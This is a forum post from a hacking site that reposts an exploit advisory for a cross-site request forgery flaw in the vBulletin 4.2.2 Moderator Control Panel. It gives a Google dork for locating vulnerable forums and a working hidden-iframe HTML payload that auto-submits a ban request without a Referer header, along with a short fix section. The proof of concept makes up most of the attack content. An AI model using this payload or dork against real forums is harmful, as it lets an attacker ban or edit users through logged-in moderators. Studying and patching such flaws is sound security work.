HackerTop - View topic - vBulletin 4.2.2 Moderator Control Panel 4.2.2 CSRF Vulnerabi
View unanswered posts | View active topics It is currently Wed Dec 19, 2018 9:59 am



Reply to topic  [ 1 post ] 
 vBulletin 4.2.2 Moderator Control Panel 4.2.2 CSRF Vulnerabi 
Author Message
Site Admin
User avatar

Joined: Sun Jul 24, 2016 6:44 am
Posts: 18
Reply with quote
# Exploit Title: vBulletin Moderator Control Panel CSRF
# Google Dork: "Powered by vBulletin® Version 4.2.2"
# Date: 16-12-2014
# Exploit Author: Tomescu Daniel http://daniel-tomescu.com https://rstforums.com/forum
# Vendor Homepage: http://www.vbulletin.com/en/vb4-features/
# Software Link: Premium
# Version: vBulletin 4.2.2
# Tested on: Chrome and Firefox
# Reference: https://rstforums.com/forum/88810-csrf-vbulletin-modcp.rst


### 1. Description

vBulletin Moderator Control Panel suffer from a CSRF vulnerability because the CSRF tokens "adminhash" and "securitytoken" are not verified in POST requests.

vBulletin has one additional protection against CSRF: checking the Referer header to be same origin. However this can be bypassed by making a POST request that does not have a Referer header.

This vulnerability allows an attacker to ban/unban users, to modify user profiles, to edit/approve posts and topics and so on.

### 2. Proof of Concept

The attacker should target a moderator of target-forum.com and the moderator must be logged in Moderator Control Panel. The vulnerability can be exploited by tricking the moderator to visit a webpage that contains the following html code:
Code:
<iframe name="ifr" frameborder="0" style="overflow:hidden;height:1%;width:1%" height="1%" width="1%"
   src='data:text/html,
      <html>
         <body>
            <iframe style="display:none" name="csrf-frame"></iframe>
            <form style="display:none" method="POST" action="https://target-forum.com/path-to/modcp/banning.php?do=dobanuser" target="csrf-frame" id="csrf-form">
               <input type="hidden" name="do" value="dobanuser" >
               <input type="hidden" name="adminhash" value="" >
               <input type="hidden" name="securitytoken" value="" >
               <input type="hidden" name="username" value="UserToBeBanned" >
               <input type="hidden" name="usergroupid" value="8" >
               <input type="hidden" name="period" value="D_7" >
               <input type="hidden" name="reason" value="Banned with CSRF" >
               <input type="submit" value="submit">
            </form>
            <script> window.onload = function(){ document.getElementById("csrf-form").submit(); } </script>
         </body>
      </html>'>
</iframe>
 

As a result, the user with the username "UserToBeBanned" will be added to the banned users list.

### 3. Solution:

Do not allow POST requests without a Referer header.
Verify "adminhash" and "securitytoken" to be valid.


Sun Jul 24, 2016 9:31 am
Profile
Display posts from previous:  Sort by  
Reply to topic   [ 1 post ] 

You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Search for:
Jump to:  
cron
Copyright © 2003-2016 HackerTop. All rights reserved.
Privacy & Cookies Policy
Community Forum Software by phpBB